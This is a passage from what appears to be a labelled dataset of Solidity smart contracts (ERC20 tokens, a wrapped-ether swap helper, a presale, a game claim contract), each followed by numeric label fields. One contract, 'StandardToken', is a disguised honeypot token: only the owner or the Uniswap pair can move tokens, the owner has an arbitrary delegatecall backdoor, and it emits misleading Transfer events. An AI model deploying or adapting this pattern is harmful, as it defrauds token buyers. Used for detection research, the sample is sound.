using SafeMath
for uint256;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => uint256) balances;
uint256 public totalSupply;
uint256 public decimals;
address public owner;
bytes32 public symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
function ESMSToken() {
totalSupply = 7770000;
symbol = 'ESMS';
owner = 0xb19ec4bb0e3b7911dd5cdde12ed3963694aef076;
balances[owner] = totalSupply;
decimals = 0;
}
function balanceOf(address _owner) constant returns(uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) returns(bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns(bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function() {
revert();
}
} | 1 | 4,017 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint a, uint b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
interface TokenToTokenSwap_Interface {
function CreateSwap(uint _amount_a, uint _amount_b, bool _sender_is_long, address _senderAdd) public payable;
function EnterSwap(uint _amount_a, uint _amount_b, bool _sender_is_long, address _senderAdd) public;
function createTokens() public;
}
interface Factory_Interface {
function createToken(uint _supply, address _party, bool _long, uint _start_date) public returns (address created, uint token_ratio);
function payToken(address _party, address _token_add) public;
function deployContract(uint _start_date) public payable returns (address created);
function getBase() public view returns(address _base1, address base2);
function getVariables() public view returns (address oracle_addr, uint swap_duration, uint swap_multiplier, address token_a_addr, address token_b_addr);
}
contract Wrapped_Ether {
using SafeMath for uint256;
string public name = "Wrapped Ether";
uint public total_supply;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) allowed;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event StateChanged(bool _success, string _message);
function CreateToken() public payable {
require(msg.value > 0);
balances[msg.sender] = balances[msg.sender].add(msg.value);
total_supply = total_supply.add(msg.value);
}
function withdraw(uint _value) public {
balances[msg.sender] = balances[msg.sender].sub(_value);
total_supply = total_supply.sub(_value);
msg.sender.transfer(_value);
}
function balanceOf(address _owner) public constant returns (uint bal) { return balances[_owner]; }
function transfer(address _to, uint _amount) public returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; }
}
contract UserContract{
TokenToTokenSwap_Interface swap;
Wrapped_Ether token;
Factory_Interface factory;
address public factory_address;
address owner;
function UserContract() public {
owner = msg.sender;
}
function Initiate(address _swapadd, uint _amounta, uint _amountb, uint _premium, bool _isLong) payable public returns (bool) {
require(msg.value == _amounta + _premium);
swap = TokenToTokenSwap_Interface(_swapadd);
swap.CreateSwap.value(_premium)(_amounta, _amountb, _isLong, msg.sender);
address token_a_address;
address token_b_address;
(token_a_address,token_b_address) = factory.getBase();
token = Wrapped_Ether(token_a_address);
token.CreateToken.value(_amounta)();
bool success = token.transfer(_swapadd,_amounta);
return success;
}
function Enter(uint _amounta, uint _amountb, bool _isLong, address _swapadd) payable public returns(bool){
require(msg.value ==_amountb);
swap = TokenToTokenSwap_Interface(_swapadd);
swap.EnterSwap(_amounta, _amountb, _isLong,msg.sender);
address token_a_address;
address token_b_address;
(token_a_address,token_b_address) = factory.getBase();
token = Wrapped_Ether(token_b_address);
token.CreateToken.value(_amountb)();
bool success = token.transfer(_swapadd,_amountb);
swap.createTokens();
return success;
}
function setFactory(address _factory_address) public {
require (msg.sender == owner);
factory_address = _factory_address;
factory = Factory_Interface(factory_address);
}
} | 1 | 3,674 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "OOOBTCTOKEN";
string public constant TOKEN_SYMBOL = "OBX";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xb908D01729DceF34E6e9E40c2fB0B966c130cAd7;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[5] memory addresses = [address(0x0547d81a36bc418042514a88ba3b408595a2c37c),address(0x84e6c16e2e31c3086c30a3c115fc5f195b4f8adb),address(0x2a7cdb06d503caf082539e615bf4fdc955e488dc),address(0x0fcedd41f94e354a3b4645643fcdc31046fede5d),address(0xb908d01729dcef34e6e9e40c2fb0b966c130cad7)];
uint[5] memory amounts = [uint(150000000000000000000000000),uint(1050000000000000000000000000),uint(150000000000000000000000000),uint(750000000000000000000000000),uint(900000000000000000000000000)];
uint64[5] memory freezes = [uint64(1560528013),uint64(0),uint64(0),uint64(0),uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 4,733 |
pragma solidity ^0.4.23;
contract BasicAccessControl {
address public owner;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = false;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
}
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
}
contract EtheremonAdventurePresale {
function getBidBySiteIndex(uint8 _siteId, uint _index) constant external returns(address bidder, uint32 bidId, uint8 siteId, uint amount, uint time);
}
interface EtheremonAdventureItem {
function spawnSite(uint _classId, uint _tokenId, address _owner) external;
}
contract EtheremonAdventureClaim is BasicAccessControl {
uint constant public MAX_SITE_ID = 108;
uint constant public MIN_SITE_ID = 1;
struct BiddingInfo {
address bidder;
uint32 bidId;
uint amount;
uint time;
uint8 siteId;
}
mapping(uint32 => uint) public bidTokens;
address public adventureItem;
address public adventurePresale;
modifier requireAdventureItem {
require(adventureItem != address(0));
_;
}
modifier requireAdventurePresale {
require(adventurePresale != address(0));
_;
}
function setContract(address _adventureItem, address _adventurePresale) onlyOwner public {
adventureItem = _adventureItem;
adventurePresale = _adventurePresale;
}
function claimSiteToken(uint8 _siteId, uint _index) isActive requireAdventureItem requireAdventurePresale public {
if (_siteId < MIN_SITE_ID || _siteId > MAX_SITE_ID || _index >= 10) revert();
BiddingInfo memory bidInfo;
(bidInfo.bidder, bidInfo.bidId, bidInfo.siteId, bidInfo.amount, bidInfo.time) = EtheremonAdventurePresale(adventurePresale).getBidBySiteIndex(_siteId, _index);
if (bidInfo.bidId == 0 || bidTokens[bidInfo.bidId] > 0) revert();
uint tokenId = (uint(_siteId) - 1) * 10 + _index + 1;
bidTokens[bidInfo.bidId] = tokenId;
EtheremonAdventureItem(adventureItem).spawnSite(_siteId, tokenId, bidInfo.bidder);
}
function getTokenByBid(uint32 _bidId) constant public returns(uint) {
return bidTokens[_bidId];
}
} | 1 | 5,305 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds the allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from zero address");
require(recipient != address(0), "ERC20: transfer to zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: not approve from zero address");
require(spender != address(0), "ERC20: approve to zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero thrown");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract StandardToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,873 |
pragma solidity ^0.4.18;
contract DeveryPresaleWhitelist {
mapping(address => uint) public whitelist;
}
contract PICOPSCertifier {
function certified(address) public constant returns (bool);
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function Owned() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ERC20Token is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
bool public transferable;
bool public mintable = true;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event MintingDisabled();
event TransfersEnabled();
function ERC20Token(string _symbol, string _name, uint8 _decimals) public {
symbol = _symbol;
name = _name;
decimals = _decimals;
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(transferable);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
require(transferable);
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(transferable);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function disableMinting() internal {
require(mintable);
mintable = false;
MintingDisabled();
}
function enableTransfers() public onlyOwner {
require(!transferable);
transferable = true;
TransfersEnabled();
}
function mint(address tokenOwner, uint tokens) internal {
require(mintable);
balances[tokenOwner] = balances[tokenOwner].add(tokens);
_totalSupply = _totalSupply.add(tokens);
Transfer(address(0), tokenOwner, tokens);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
contract DeveryPresale is ERC20Token {
address public wallet;
uint public constant START_DATE = 1513303200;
bool public closed;
uint public ethMinContribution = 20 ether;
uint public constant TEST_CONTRIBUTION = 0.01 ether;
uint public usdCap = 2000000;
uint public usdPerKEther = 730000;
uint public contributedEth;
uint public contributedUsd;
DeveryPresaleWhitelist public whitelist;
PICOPSCertifier public picopsCertifier;
event WalletUpdated(address indexed oldWallet, address indexed newWallet);
event EthMinContributionUpdated(uint oldEthMinContribution, uint newEthMinContribution);
event UsdCapUpdated(uint oldUsdCap, uint newUsdCap);
event UsdPerKEtherUpdated(uint oldUsdPerKEther, uint newUsdPerKEther);
event WhitelistUpdated(address indexed oldWhitelist, address indexed newWhitelist);
event PICOPSCertifierUpdated(address indexed oldPICOPSCertifier, address indexed newPICOPSCertifier);
event Contributed(address indexed addr, uint ethAmount, uint ethRefund, uint usdAmount, uint contributedEth, uint contributedUsd);
function DeveryPresale() public ERC20Token("PREVE", "Presale EVE Tokens", 18) {
wallet = owner;
}
function setWallet(address _wallet) public onlyOwner {
WalletUpdated(wallet, _wallet);
wallet = _wallet;
}
function setEthMinContribution(uint _ethMinContribution) public onlyOwner {
EthMinContributionUpdated(ethMinContribution, _ethMinContribution);
ethMinContribution = _ethMinContribution;
}
function setUsdCap(uint _usdCap) public onlyOwner {
UsdCapUpdated(usdCap, _usdCap);
usdCap = _usdCap;
}
function setUsdPerKEther(uint _usdPerKEther) public onlyOwner {
UsdPerKEtherUpdated(usdPerKEther, _usdPerKEther);
usdPerKEther = _usdPerKEther;
}
function setWhitelist(address _whitelist) public onlyOwner {
WhitelistUpdated(address(whitelist), _whitelist);
whitelist = DeveryPresaleWhitelist(_whitelist);
}
function setPICOPSCertifier(address _picopsCertifier) public onlyOwner {
PICOPSCertifierUpdated(address(picopsCertifier), _picopsCertifier);
picopsCertifier = PICOPSCertifier(_picopsCertifier);
}
function addressCanContribute(address _addr) public view returns (bool) {
return whitelist.whitelist(_addr) > 0 || picopsCertifier.certified(_addr);
}
function ethCap() public view returns (uint) {
return usdCap * 10**uint(3 + 18) / usdPerKEther;
}
function closeSale() public onlyOwner {
require(!closed);
closed = true;
disableMinting();
}
function () public payable {
